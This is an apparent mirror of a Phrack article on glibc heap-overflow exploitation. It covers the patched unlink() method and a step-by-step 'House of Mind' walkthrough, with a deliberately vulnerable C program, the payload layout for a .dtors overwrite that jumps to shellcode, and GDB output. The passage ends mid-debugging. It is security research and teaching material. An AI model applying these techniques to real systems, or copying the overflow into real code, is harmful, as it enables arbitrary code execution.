mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
2748 lines
89 KiB
Text
2748 lines
89 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0d, Issue 0x42, Phile #0x0A of 0x11
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=----------------------=[ MALLOC DES-MALEFICARUM ]=---------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---------------=[ By blackngel ]=--------------=|
|
||
|
|=---------------=[ ]=--------------=|
|
||
|
|=---------------=[ <black *noSPAM* set-ezine.org> ]=--------------=|
|
||
|
|=---------------=[ <blackngel1 *noSPAM* gmail.org> ]=--------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
^^
|
||
|
*`* @@ *`* HACK THE WORLD
|
||
|
* *--* *
|
||
|
## <blackngel1@gmail.com>
|
||
|
|| <black@set-ezine.org>
|
||
|
* *
|
||
|
* * (C) Copyleft 2009 everybody
|
||
|
_* *_
|
||
|
|
||
|
|
||
|
---[ INDEX
|
||
|
|
||
|
|
||
|
1 - The History
|
||
|
|
||
|
2 - Introduction
|
||
|
|
||
|
3 - Welcome to The Past
|
||
|
|
||
|
4 - DES-Maleficarum...
|
||
|
|
||
|
4.1 - The House of Mind
|
||
|
4.1.1 - FastBin Method
|
||
|
4.1.2 - av->top Nightmare
|
||
|
|
||
|
4.2 - The House of Prime
|
||
|
4.2.1 - unsorted_chunks()
|
||
|
|
||
|
4.3 - The House of Spirit
|
||
|
|
||
|
4.4 - The House of Force
|
||
|
4.4.1 - Mistakes
|
||
|
|
||
|
4.5 - The House of Lore
|
||
|
|
||
|
4.6 - The House of Underground
|
||
|
|
||
|
5 - ASLR and Nonexec Heap (The Future)
|
||
|
|
||
|
6 - The House of Phrack
|
||
|
|
||
|
7 - References
|
||
|
|
||
|
|
||
|
---[ END INDEX
|
||
|
|
||
|
|
||
|
"Traduitori son tratori"
|
||
|
|
||
|
|
||
|
-----------------
|
||
|
---[ 1 ---[ THE HISTORY ]---
|
||
|
-----------------
|
||
|
|
||
|
On August 11, 2001, two papers were released in that same magazine and
|
||
|
they went to demonstrate a new advance in the vulnerabilities exploitation
|
||
|
world. MaXX wrote in his "Vudo malloc tricks" paper [1], the basic
|
||
|
implementation and algorithms of GNU C Library, Doug Lea's malloc(), and
|
||
|
he presented to the public various methods that be able to trigger
|
||
|
arbitrary code execution through heap overflows. At the same time, he
|
||
|
showed a real-life exploit of the "Sudo" application.
|
||
|
|
||
|
In the same number of Phrack, an anonymous person released other article,
|
||
|
titled "Once upon a free()" [2]. Its main goal was explain the System V
|
||
|
malloc implementation.
|
||
|
|
||
|
On August 13, 2003, "jp <jp@corest.com>" developed of a way more advanced
|
||
|
the skills initiated in the previous texts. His article, called "Advanced
|
||
|
Doug Lea's malloc exploits" [3], maybe out the biggest support to what it
|
||
|
was for coming...
|
||
|
|
||
|
The skills published in the first one of the articles, showed:
|
||
|
|
||
|
- unlink () method.
|
||
|
- frontlink () method.
|
||
|
|
||
|
... these methods were applicable until the year 2004, when the GLIBC
|
||
|
library was patched so those methods did not work.
|
||
|
|
||
|
But not everything was said with regard to this topic. On October 11 of
|
||
|
2005, Phantasmal Phantasmagoria was publishing on the "bugtraq" mailing
|
||
|
list an article which name provokes a deep mystery: "Malloc Maleficarum"
|
||
|
[4].
|
||
|
|
||
|
The name of the article was a variation of an ancient text
|
||
|
called "Malleus Maleficarum" (The Hammer of the Witches)...
|
||
|
|
||
|
Phantasmal also was the author of the fantastic article "Exploiting the
|
||
|
Wilderness" [5], the chunk most afraid (at first) by the heap's lovers.
|
||
|
|
||
|
Malloc Maleficarum was a completely theoretical presentation of what could
|
||
|
become the new skills of exploitation with regard to topic of the heap
|
||
|
overflows. His author split each one of the skills titling them of the
|
||
|
following way:
|
||
|
|
||
|
The House of Prime
|
||
|
The House of Mind
|
||
|
The House of Force
|
||
|
The House of Lore
|
||
|
The House of Spirit
|
||
|
The House of Chaos (conclusion)
|
||
|
|
||
|
And certainly, it was the revolution that open again the minds when the
|
||
|
doors had been closed.
|
||
|
|
||
|
The only one fault of this article is that it was not showing any
|
||
|
proof of concept that demonstrated that each and every one of the
|
||
|
skills were possible.
|
||
|
|
||
|
Probably, the implementations stayed in the "background", or maybe in
|
||
|
closed circles.
|
||
|
|
||
|
On January 1, 2007, in the electronic magazine ".aware EZine Alpha",
|
||
|
K-sPecial published an article simply called "The House of Mind" [6].
|
||
|
This one come to declaring in first instance the lacking small
|
||
|
fault of Phantasmal's article.
|
||
|
|
||
|
On the other hand, he solved it presenting a proof of concept continued
|
||
|
with its correspondent exploit.
|
||
|
|
||
|
Also, K-sPecial's paper was bringing to the light a couple of shades in
|
||
|
which Phantasmal had missed in his interpretation of the Houses skills.
|
||
|
|
||
|
Finally, on May 25, 2007, g463 published in Phrack an article called:
|
||
|
"The use of set_head to defeat the wilderness." [7] g463 described how to
|
||
|
obtain a "write almost 4 arbitrary bytes to almost anywhere" primitive
|
||
|
by exploiting an existing bug in the file (1) utility. This is the most
|
||
|
recent advance in heap overflows.
|
||
|
|
||
|
|
||
|
|
||
|
<< En todas las actividades es saludable, de vez
|
||
|
en cuando, poner un signo de interrogacion
|
||
|
sobre aquellas cosas que por mucho tiempo se
|
||
|
han dado como seguras. >>
|
||
|
|
||
|
[ Bertrand Russell ]
|
||
|
|
||
|
|
||
|
|
||
|
------------------
|
||
|
---[ 2 ---[ INTRODUCTION ]---
|
||
|
------------------
|
||
|
|
||
|
We could to define this paper as "The Practical Guide of the Malloc
|
||
|
Maleficarum". And exactly, our main goal is demythologize the majority
|
||
|
of the methods described in this paper through practical examples (so
|
||
|
much the vulnerable programs as its associated exploits).
|
||
|
|
||
|
On the other hand, and very importantly, certain mistakes were trying to
|
||
|
be corrected that were an object of wrong interpretation in Malloc
|
||
|
Maleficarum. Mistakes that are today more easy to see thanks to the
|
||
|
enormous work that Phantasmal give us in his moment. He is an adept, a
|
||
|
"virtual adept" certainly...
|
||
|
|
||
|
It is due to these mistakes that in this article I present new
|
||
|
contributions to the world of the heap overflow under Linux, introducing
|
||
|
variations in the skills presented by Phantasmal, and totally new ideas
|
||
|
that could allow arbitrary code execution by a better way.
|
||
|
|
||
|
In short, you will see in this article:
|
||
|
|
||
|
- Clean modification of K-sPecial's exploit in The House of Mind.
|
||
|
- Implementation renewed of the "fastbin" method in The House of Mind.
|
||
|
- Practical implementation of The House of Prime method.
|
||
|
- New idea for direct arbitrary code execution in unsorted_chunks()
|
||
|
method in The House of Prime.
|
||
|
- The House of Spirit practical implementation.
|
||
|
- The House of Force practical implementation.
|
||
|
- Recapitulation of mistakes in The House of Force theory committed in
|
||
|
Malloc Maleficarum.
|
||
|
- Theoretical/practical approximation to The House of Lore.
|
||
|
|
||
|
In addition to a general understanding of the implementation of the "Doug
|
||
|
Lea's malloc" library, I recommend two things:
|
||
|
|
||
|
1) Read first the article of MaxX [1].
|
||
|
2) Download and read the source code of glibc-2.3.6 [8]
|
||
|
(malloc.c and arena.c).
|
||
|
|
||
|
NOTE: Except for The House of Prime, I had used a x86 Linux distro,
|
||
|
on a 2.6.24-23 kernel, with glibc version 2.7, which shows
|
||
|
that these techniques are still applicable today. Also, I have
|
||
|
check that some of them are availables in 2.8.90.
|
||
|
|
||
|
NOTE 2: The current implementation of malloc is known as "ptmalloc",
|
||
|
which is an implementation based on the previous "dlmalloc".
|
||
|
Ptmalloc was created by Wolfram Gloger. At present, from glibc
|
||
|
2.7 to 2.10 are Ptmalloc2 based. You can obtain more information
|
||
|
if you visit [9].
|
||
|
|
||
|
As there, it would be desirable to have at your side the Phantasmal's
|
||
|
theory as support to subsequent methods that will be implemented. However,
|
||
|
the concepts described in this paper should be sufficient for an almost
|
||
|
complete understanding of the topic.
|
||
|
|
||
|
In this article you will see, through the witches, as there are still
|
||
|
some ways to go. And we can go together ...
|
||
|
|
||
|
|
||
|
|
||
|
<< Lo que conduce y arrastra
|
||
|
al mundo no son las maquinas,
|
||
|
sino las ideas. >>
|
||
|
|
||
|
[ Victor Hugo ]
|
||
|
|
||
|
|
||
|
|
||
|
------------------------
|
||
|
---[ 3 ---[ WELCOME TO THE PAST ]---
|
||
|
------------------------
|
||
|
|
||
|
Why does the "unlink()" technique not apply now?
|
||
|
|
||
|
"unlink ()" assumed that if two chunks were allocated in the heap, and
|
||
|
second was vulnerable to being overwritten through an overflow of first,
|
||
|
a third fake chunk could be created and so deceive "free ()" to proceed
|
||
|
to unlink this second chunk and tie with the first.
|
||
|
|
||
|
Unlink was produced with the following code:
|
||
|
|
||
|
#define unlink( P, BK, FD ) { \
|
||
|
BK = P->bk; \
|
||
|
FD = P->fd; \
|
||
|
FD->bk = BK; \
|
||
|
BK->fd = FD; \
|
||
|
}
|
||
|
|
||
|
Being P the second chunk, "P->fd" was changed to point to a memory area
|
||
|
capable of being overwritten (such as .dtors - 12). If "P->bk" then
|
||
|
pointed to the address of a Shellcode located at memory for an exploiter
|
||
|
(at ENV or perhaps the same first chunk), then this address would be
|
||
|
written in the 3rd step of unlink() code, in "FD->bk". Then:
|
||
|
|
||
|
"FD->bk" = "P->fd" + 12 = ".dtors".
|
||
|
".dtors" -> &(Shellcode)
|
||
|
|
||
|
In fact, when using DTORS, "P->fd" should point to .dtors+4-12 so that
|
||
|
"FD->bk" point to DTORS_END, to be executed at finish of application. GOT
|
||
|
is also a good goal, or a function pointer or more things ...
|
||
|
|
||
|
And here started the fun!
|
||
|
|
||
|
By applying the appropriate patches glibc, the macro "unlink()" is shown
|
||
|
as follows:
|
||
|
|
||
|
#define unlink(P, BK, FD) { \
|
||
|
FD = P->fd; \
|
||
|
BK = P->bk; \
|
||
|
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
|
||
|
malloc_printerr (check_action, "corrupted double-linked list", P); \
|
||
|
else { \
|
||
|
FD->bk = BK; \
|
||
|
BK->fd = FD; \
|
||
|
} \
|
||
|
}
|
||
|
|
||
|
If "P->fd", pointing to the next chunk (FD), is not modified, then the
|
||
|
"bk" pointer of FD should point to P. The same is true with the previous
|
||
|
chunk (BK)... if "P->bk" points to the previous chunk, then the forward
|
||
|
pointer at BK should point to P. In any other case, mean an error in the
|
||
|
double linked list and thus the second chunk (P) has been hacked.
|
||
|
|
||
|
And here ended the fun!
|
||
|
|
||
|
|
||
|
|
||
|
<< Nuestra tecnica no solo produce artefactos,
|
||
|
esto es, cosas que la naturaleza no produce,
|
||
|
sino tambien las cosas mismas que la naturaleza
|
||
|
produce y dotadas de identica actividad
|
||
|
natural. >>
|
||
|
|
||
|
[ Xavier Zubiri ]
|
||
|
|
||
|
|
||
|
|
||
|
------------------------
|
||
|
---[ 4 ---[ DES-MALEFICARUM... ]---
|
||
|
------------------------
|
||
|
|
||
|
Read carefully what now comes. I just hope that at the end of this paper,
|
||
|
the witches have completely disappeared.
|
||
|
|
||
|
Or... would it be better that they stay?
|
||
|
|
||
|
|
||
|
|
||
|
-----------------------
|
||
|
---[ 4.1 ---[ THE HOUSE OF MIND ]---
|
||
|
-----------------------
|
||
|
|
||
|
We will study "The House of Mind" technique here, step by step, so that
|
||
|
those who start at these boundaries do not find too many problems along
|
||
|
the path... a path that already may be a little hard.
|
||
|
|
||
|
Neither show is worth a second view / opinion about how develop the
|
||
|
exploit, which in my case had a small behavioral variation (we will see it
|
||
|
below).
|
||
|
|
||
|
The understanding of this technique will become much easier if for some
|
||
|
accident I can demonstrate the ability of know to show the steps in
|
||
|
certain order, otherwise the mind go from one side to another, but... test
|
||
|
and play with the technique.
|
||
|
|
||
|
"The House of Mind" is described as perhaps the easiest method or, at
|
||
|
least, more friendly with respect to what was "unlink()" in its moment of
|
||
|
glory.
|
||
|
|
||
|
Two variants will be shown. Let's see here the first one:
|
||
|
|
||
|
NOTE 1: Only one call to "free()" is needed to provoke arbitrary code
|
||
|
execution.
|
||
|
|
||
|
NOTE 2: From here, we will have always in mind that "free()" is executed
|
||
|
on a second chunk that can be overflowed by another chunk that
|
||
|
has been allocated before.
|
||
|
|
||
|
According to "malloc.c," a call to "free()" triggers the execution of a
|
||
|
wrapper (in the jargon "wrapper functions") called "public_fREe()".
|
||
|
|
||
|
Here the relevant code:
|
||
|
|
||
|
void
|
||
|
public_fREe(Void_t* mem)
|
||
|
{
|
||
|
mstate ar_ptr;
|
||
|
mchunkptr p; /* chunk corresponding to mem */
|
||
|
...
|
||
|
p = mem2chunk(mem);
|
||
|
...
|
||
|
ar_ptr = arena_for_chunk(p);
|
||
|
...
|
||
|
_int_free(ar_ptr, mem);
|
||
|
}
|
||
|
|
||
|
|
||
|
A call to "malloc (x)" returns, always that there is still memory
|
||
|
available, a pointer to the memory area where data can be stored, moved,
|
||
|
copied, etc.
|
||
|
|
||
|
Imagine for example that:
|
||
|
|
||
|
"char * ptr = (char *) malloc (512);"
|
||
|
|
||
|
...returns the address "0x0804a008". This address is the "mem" content
|
||
|
when "free()" is called.
|
||
|
|
||
|
The "mem2chunk(mem)" function returns a pointer to the start address of
|
||
|
chunk (not the data, but the beginning of the chunk), which in a allocated
|
||
|
chunk is set to something like:
|
||
|
|
||
|
&mem - sizeof(size) - sizeof(prev_size) = &mem - 8.
|
||
|
|
||
|
p = (0x0804a000);
|
||
|
|
||
|
"p" is send to "arena_for_chunk()". As we can read in "arena.c", it
|
||
|
trigger the following code:
|
||
|
|
||
|
|
||
|
#define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */
|
||
|
_____________________________________________
|
||
|
| |
|
||
|
#define heap_for_ptr(ptr) \ |
|
||
|
((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) |
|
||
|
|
|
||
|
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) |
|
||
|
__________________| ___________________|
|
||
|
| |
|
||
|
| #define arena_for_chunk(ptr) \ |
|
||
|
|___(chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena)
|
||
|
|
||
|
|
||
|
As we see, "p" is now "ptr". It is passed "chunk_non_main_arena()"
|
||
|
which is responsible for checking whether the "size" of this chunk has
|
||
|
its third least significant bit enabled (NON_MAIN_ARENA = 4h = 100b).
|
||
|
|
||
|
In a unmodified chunk, this function returns "false" and the address of
|
||
|
"main_arena" will be returned by "arena_for_chunk()". But... fortunately,
|
||
|
since we can corrupt the "size" field of "p", and enabled NON_MAIN_ARENA
|
||
|
bit, then we can fool "arena_for_chunk()" to call to "heap_for_ptr().
|
||
|
|
||
|
We are now in:
|
||
|
|
||
|
(heap_info *) ((unsigned long)(0x0804a000) & ~(HEAP_MAX_SIZE-1)))
|
||
|
|
||
|
then:
|
||
|
|
||
|
(heap_info *) (0x08000000)
|
||
|
|
||
|
We must have in mind that "heap_for_ptr()" is a macro and not a function.
|
||
|
Then, once more in "arena_for_chunk()" we have:
|
||
|
|
||
|
(0x08000000)->ar_ptr
|
||
|
|
||
|
"ar_ptr" is the first member of a "heap_info" structure. It is defined
|
||
|
as you can see:
|
||
|
|
||
|
typedef struct _heap_info {
|
||
|
mstate ar_ptr; /* Arena for this heap. */
|
||
|
struct _heap_info *prev; /* Previous heap. */
|
||
|
size_t size; /* Current size in bytes. */
|
||
|
size_t pad; /* Make sure the following data is properly aligned. */
|
||
|
} heap_info;
|
||
|
|
||
|
|
||
|
So what you are looking at (0x08000000) the address of an "arena" (it will
|
||
|
be defined shortly). For now, we can say that at (0x08000000) there isn't
|
||
|
any address to point to any "arena", so the application soon will break
|
||
|
with a segmentation fault. (assuming an ET_EXEC with a base of 0x08048000)
|
||
|
|
||
|
It seems that our move end here. As our first chunk is just behind of the
|
||
|
second chunk at (0x0804a000) (but not much), this only allows us to
|
||
|
overwrite forward, preventing us write anything at (0x08000000).
|
||
|
|
||
|
But wait a moment... what happens if we can overwrite a chunk with an
|
||
|
address like this: (0x081002a0)?
|
||
|
|
||
|
If our first chunk was at (0x0804a000), we can overwrite ahead and put in
|
||
|
(0x08100000) an arbitrary address (usually the begining of the data of our
|
||
|
first chunk).
|
||
|
|
||
|
Then "heap_for_ptr(ptr)->ar_ptr" take this address, and...
|
||
|
|
||
|
|
||
|
return heap_for_ptr(ptr)->ar_ptr | ret (0x08100000)->ar_ptr = 0x0804a008
|
||
|
-------------------------------- | --------------------------------------
|
||
|
ar_ptr = arena_for_chunk(p); | ar_ptr = 0x0804a008
|
||
|
... |
|
||
|
_int_free(ar_ptr, mem); | _int_free(0x0804a008, 0x081002a0);
|
||
|
|
||
|
|
||
|
Think that we can change "ar_ptr" to any value. For example, we can do
|
||
|
that it points to an environment variable or another place. At this
|
||
|
address of memory, "_int_free()" expects to find an "arena" structure.
|
||
|
|
||
|
Let's see now ...
|
||
|
|
||
|
mstate ar_ptr;
|
||
|
|
||
|
"mstate" is actually a real "malloc_state" structure (no comments):
|
||
|
|
||
|
struct malloc_state {
|
||
|
mutex_t mutex;
|
||
|
INTERNAL_SIZE_T max_fast; /* low 2 bits used as flags */
|
||
|
mfastbinptr fastbins[NFASTBINS];
|
||
|
mchunkptr top;
|
||
|
mchunkptr last_remainder;
|
||
|
mchunkptr bins[NBINS * 2];
|
||
|
unsigned int binmap[BINMAPSIZE];
|
||
|
...
|
||
|
INTERNAL_SIZE_T system_mem;
|
||
|
INTERNAL_SIZE_T max_system_mem;
|
||
|
};
|
||
|
...
|
||
|
static struct malloc_state main_arena;
|
||
|
|
||
|
Soon it will be helpful to know this. The goal of The House of Mind is to
|
||
|
ensure that the unsorted_chunks() code is reaached in "_int_free ()":
|
||
|
|
||
|
void _int_free(mstate av, Void_t* mem) {
|
||
|
.....
|
||
|
bck = unsorted_chunks(av);
|
||
|
fwd = bck->fd;
|
||
|
p->bk = bck;
|
||
|
p->fd = fwd;
|
||
|
bck->fd = p;
|
||
|
fwd->bk = p;
|
||
|
.....
|
||
|
}
|
||
|
|
||
|
This is already beginning to look a bit more to "unlink()".
|
||
|
|
||
|
Now "av" is the value of "ar_ptr" which is supposed to be the beginning
|
||
|
of an "arena". More... "unsorted_chunks ()," according to Phantasmal
|
||
|
Phantasmagoria, return the value of "av->bins[0]". If "av" is (0x0804a008)
|
||
|
(the start of our buffer), and we can write forward, we can control the
|
||
|
value of bins[0], once past fields: mutex, max_fast, fastbins[] and top.
|
||
|
This is simple ...
|
||
|
|
||
|
Phantasmal showed us that if we put in av->bins[0] the address of ".dtors"
|
||
|
minus 8, then, the penultimate sentence write in this address plus 8, the
|
||
|
address of the overflow "p". In this address is the "prev_size" field and
|
||
|
there can place any thing, such as a "JMP", then we can jump to shellcode
|
||
|
located a little later and you know as follows ...
|
||
|
|
||
|
p = 0x081002a0 - 8;
|
||
|
...
|
||
|
bck = .dtors + 4 - 8
|
||
|
...
|
||
|
bck + 8 = DTORS_END = 0x08100298
|
||
|
|
||
|
1st Bit -bins[0]- 2nd Bit
|
||
|
[ .......... .dtors+4-8 ] [0x0804a008 ... ] [jmp 0xc ...... (Shellcode)]
|
||
|
| | |
|
||
|
0x0804a008 0x08100000 0x08100298
|
||
|
|
||
|
When application finishes running DTORS, therefore the jump is executed,
|
||
|
and our Shellcode.
|
||
|
|
||
|
Although the idea was good, K-special warned us that "unsorted_chunks ()",
|
||
|
in fact, did not return the value of "av->bins[0]," but it returns its
|
||
|
address "&".
|
||
|
|
||
|
Let's take a look:
|
||
|
|
||
|
#define bin_at(m, i) ((mbinptr)((char*)&((m)->bins[(i)<<1]) -
|
||
|
(SIZE_SZ<<1)))
|
||
|
...
|
||
|
#define unsorted_chunks(M) (bin_at(M, 1))
|
||
|
|
||
|
Indeed, we see that "bin_at()" returns the address and not the value.
|
||
|
Therefore another way must be taken. Bearing this in mind, we can do
|
||
|
the next:
|
||
|
|
||
|
bck = &av->bins[0]; /* Address of ... */
|
||
|
fwd = bck->fd = *(&av->bins[0] + 8); /* The value of ... */
|
||
|
fwd->bk = *(&av->bins[0] + 8) + 12 = p;
|
||
|
|
||
|
|
||
|
Which means that if we control the value located in:
|
||
|
"&av->bins[0] + 8" and we put there ".dtors + 4 - 12", that will be
|
||
|
placed in "fwd". In the last sentence it'll be written into DTORS_END
|
||
|
the address of the second chunk "p", and continue as above.
|
||
|
|
||
|
But we have jumped here without crossing the road full of spines. Our
|
||
|
friend Phantasmal also warned us that to run this piece of code, certain
|
||
|
conditions should be met. Now we will see each of them related with its
|
||
|
corresponding portion of code in the "_int_free()".
|
||
|
|
||
|
1) The negative value of the overwritten chunk must
|
||
|
be less than the value of this chunk "p".
|
||
|
|
||
|
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) ...
|
||
|
|
||
|
PLEASE NOTE: This must be a misinterpretation of language. To jump
|
||
|
this integrity check: "-size" must be "greater" than
|
||
|
the value of "p".
|
||
|
|
||
|
2) The size of the chunk must not be less than or equal to
|
||
|
av->max_fast.
|
||
|
|
||
|
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) ...
|
||
|
|
||
|
We control the size of the overflow chunk so as "av->max_fast"
|
||
|
which is the second field of our "fakearena".
|
||
|
|
||
|
3) The bit IS_MMAPPED must not be set into the "size" field.
|
||
|
|
||
|
else if (!chunk_is_mmapped(p)) { ...
|
||
|
|
||
|
Also, we control the second least significant bit of the "size".
|
||
|
|
||
|
4) The overwrited chunk can not be av->top (Wilderness chunk).
|
||
|
|
||
|
if (__builtin_expect (p == av->top, 0)) ...
|
||
|
|
||
|
5) The NONCONTIGUOUS_BIT of av->max_fast must be set.
|
||
|
|
||
|
if (__builtin_expect (contiguous (av) ...
|
||
|
|
||
|
Designer controls "av->max_fast" and know that NONCONTIGUOUS_BIT
|
||
|
is "0x02" = "10b".
|
||
|
|
||
|
6) The PREV_INUSE bit of the next chunk must be set.
|
||
|
|
||
|
if (__builtin_expect (!prev_inuse(nextchunk), 0)) ...
|
||
|
|
||
|
This is the default in an allocated chunk.
|
||
|
|
||
|
7) The size of nextchunk must be greater than 8.
|
||
|
|
||
|
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) ...
|
||
|
|
||
|
8) The size of nextchunk must be less than av->system_mem
|
||
|
|
||
|
... __builtin_expect (nextsize >= av->system_mem, 0)) ...
|
||
|
|
||
|
9) The PREV_INUSE bit of the chunk must not be set.
|
||
|
|
||
|
/* consolidate backward */
|
||
|
if (!prev_inuse(p)) { ...
|
||
|
|
||
|
ATTENTION: Phantasmal seems wrong here, at least according to my
|
||
|
opinion, the PREV_INUSE bit of overwritten chunk, must
|
||
|
be set in order to bypass this check and not unlink the
|
||
|
previous chunk.
|
||
|
|
||
|
10) The nextchunk cannot equal av->top.
|
||
|
|
||
|
if (nextchunk != av->top) { ...
|
||
|
|
||
|
If we alter all the information from "av->fastbins[]" to
|
||
|
"av->bins[0]", then "av->top" will be overwritten and will
|
||
|
be almost impossible to be equal to "nextchunk".
|
||
|
|
||
|
11) The PREV_INUSE bit of the chunk after nextchunk
|
||
|
(nextchunk + nextsize) must be set.
|
||
|
|
||
|
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
|
||
|
/* consolidate forward */
|
||
|
if (!nextinuse) { ...
|
||
|
|
||
|
The path seems long and tortuous, but it is not so much when we control
|
||
|
most situations. Let's go to see the vulnerable program of our friend
|
||
|
K-sPecial:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
/*
|
||
|
* K-sPecial's vulnerable program
|
||
|
*/
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
|
||
|
int main (void) {
|
||
|
char *ptr = malloc(1024); /* First allocated chunk */
|
||
|
char *ptr2; /* Second chunk */
|
||
|
/* ptr & ~(HEAP_MAX_SIZE-1) = 0x08000000 */
|
||
|
int heap = (int)ptr & 0xFFF00000;
|
||
|
_Bool found = 0;
|
||
|
|
||
|
printf("ptr found at %p\n", ptr); /* Print address of first chunk */
|
||
|
|
||
|
// i == 2 because this is my second chunk to allocate
|
||
|
for (int i = 2; i < 1024; i++) {
|
||
|
/* Allocate chunks up to 0x08100000 */
|
||
|
if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
|
||
|
(heap + 0x100000))) {
|
||
|
printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
|
||
|
found = 1; /* Go out */
|
||
|
break;
|
||
|
}
|
||
|
|
||
|
}
|
||
|
malloc(1024); /* Request another chunk: (ptr2 != av->top) */
|
||
|
/* Incorrect input: 1048576 bytes */
|
||
|
fread (ptr, 1024 * 1024, 1, stdin);
|
||
|
|
||
|
free(ptr); /* Free first chunk */
|
||
|
free(ptr2); /* The House of Mind */
|
||
|
return(0); /* Bye */
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
Note that the input allows NULL bytes without ending our string. This
|
||
|
makes our task more easy.
|
||
|
|
||
|
The K-sPecial's exploit create the following string:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
0x0804a008
|
||
|
|
|
||
|
[Ax8][0h x 4][201h x 8][DTORS_END-12 x 246][(409h-Ax1028) x 721][409h] ...
|
||
|
| |
|
||
|
av->max_fast bins[0] size
|
||
|
|
|
||
|
.... [(&1st chunk + 8) x 256][NOPx2-JUMP 0x0c][40Dh][NOPx8][SHELLCODE]
|
||
|
| | |
|
||
|
0x08100000 prev_size (0x08100298) *mem (0x081002a0)
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
1) The first call to free() overwrites the first 8 bytes with garbage,
|
||
|
then K-special prefer to skip this area and put into (0x08100000)
|
||
|
the address of the first chunk + 8(data area) + 8 (0x0804a010).
|
||
|
Here begins the fake arena structure.
|
||
|
|
||
|
2) Then comes "\x00\x00\x00\x00" that fills the "av->mutex" field.
|
||
|
Other value will cause that the exploit to fail.
|
||
|
|
||
|
3) "av->max_fast" get the value "102h". This satisfies the conditions
|
||
|
2 and 5:
|
||
|
|
||
|
(2) (size > max_fast) -> (40Dh > 102h)
|
||
|
(5) "\x02" NONCONTIGUOUS_BIT is set
|
||
|
|
||
|
4) Complete the first chunk with the DTORS_END (.dtors+4) address
|
||
|
minus 8. This will overwrite &av->bins[0] + 8.
|
||
|
|
||
|
5) Fill the nexts chunks until (0x08100000) with characters "A", while
|
||
|
retaining the "size" field (409h) of each chunk. Each one has
|
||
|
PREV_INUSE bit properly set.
|
||
|
|
||
|
6) To reach the address of the overwritten chunk "p", we fill with
|
||
|
the address where we will find our "fakearena", which is the
|
||
|
address of the first chunk plus 8. The goal is jump garbage bytes
|
||
|
that will be overwritten.
|
||
|
|
||
|
7) The "prev_size" field of "p" must be "nop; nop; jmp 0x0c;". It will
|
||
|
jump to our Shellcode when DTORS_END will be executed at the end of
|
||
|
the application.
|
||
|
|
||
|
8) The "size" field of "p" must be greater than the value written in
|
||
|
"av->max_fast" and also have the NON_MAIN_ARENA bit activated
|
||
|
which was the trigger for this whole story in The House of Mind.
|
||
|
|
||
|
9) A few NOPS and then our Shellcode.
|
||
|
|
||
|
After understanding some very solid ideas, I was really surprised when a
|
||
|
simple execution of the K-sPecial's exploit produced the following output:
|
||
|
|
||
|
blackngel@linux:~$ ./exploit > file
|
||
|
blackngel@linux:~$ ./heap1 < file
|
||
|
ptr found at 0x804a008
|
||
|
good heap allignment found on malloc() 724 (0x81002a0)
|
||
|
*** glibc detected *** ./heap1: double free or corruption (out): 0x081002a0
|
||
|
...
|
||
|
|
||
|
In "malloc.c" this error corresponds to the integrity check:
|
||
|
|
||
|
if (__builtin_expect (contiguous (av)
|
||
|
|
||
|
Let's go to see what happens with GDB:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
blackngel@linux:~$ gdb -q ./heap1
|
||
|
(gdb) disass main
|
||
|
Dump of assembler code for function main:
|
||
|
.....
|
||
|
.....
|
||
|
0x08048513 <main+223>: call 0x804836c <free@plt>
|
||
|
0x08048518 <main+228>: mov -0x10(%ebp),%eax
|
||
|
0x0804851b <main+231>: mov %eax,(%esp)
|
||
|
0x0804851e <main+234>: call 0x804836c <free@plt>
|
||
|
0x08048523 <main+239>: mov $0x0,%eax
|
||
|
0x08048528 <main+244>: add $0x34,%esp
|
||
|
0x0804852b <main+247>: pop %ecx
|
||
|
0x0804852c <main+248>: pop %ebp
|
||
|
0x0804852d <main+249>: lea -0x4(%ecx),%esp
|
||
|
0x08048530 <main+252>: ret
|
||
|
End of assembler dump.
|
||
|
(gdb) break *main+223 /* Before first call to free() */
|
||
|
Breakpoint 1 at 0x8048513
|
||
|
(gdb) break *main+228 /* After first call to free() */
|
||
|
Breakpoint 2 at 0x8048518
|
||
|
(gdb) run < file
|
||
|
Starting program: /home/blackngel/heap1 < file
|
||
|
ptr found at 0x804a008
|
||
|
good heap allignment found on malloc() 724 (0x81002a0)
|
||
|
|
||
|
Breakpoint 1, 0x08048513 in main ()
|
||
|
Current language: auto; currently asm
|
||
|
(gdb) x/16x 0x0804a008
|
||
|
0x804a008: 0x41414141 0x41414141 0x00000000 0x00000102
|
||
|
0x804a018: 0x00000102 0x00000102 0x00000102 0x00000102
|
||
|
0x804a028: 0x00000102 0x00000102 0x00000102 0x08049648
|
||
|
0x804a038: 0x08049648 0x08049648 0x08049648 0x08049648
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 2, 0x08048518 in main ()
|
||
|
(gdb) x/16x 0x0804a008
|
||
|
0x804a008: 0xb7fb2190 0xb7fb2190 0x00000000 0x00000000
|
||
|
0x804a018: 0x00000102 0x00000102 0x00000102 0x00000102
|
||
|
0x804a028: 0x00000102 0x00000102 0x00000102 0x08049648
|
||
|
0x804a038: 0x08049648 0x08049648 0x08049648 0x08049648
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
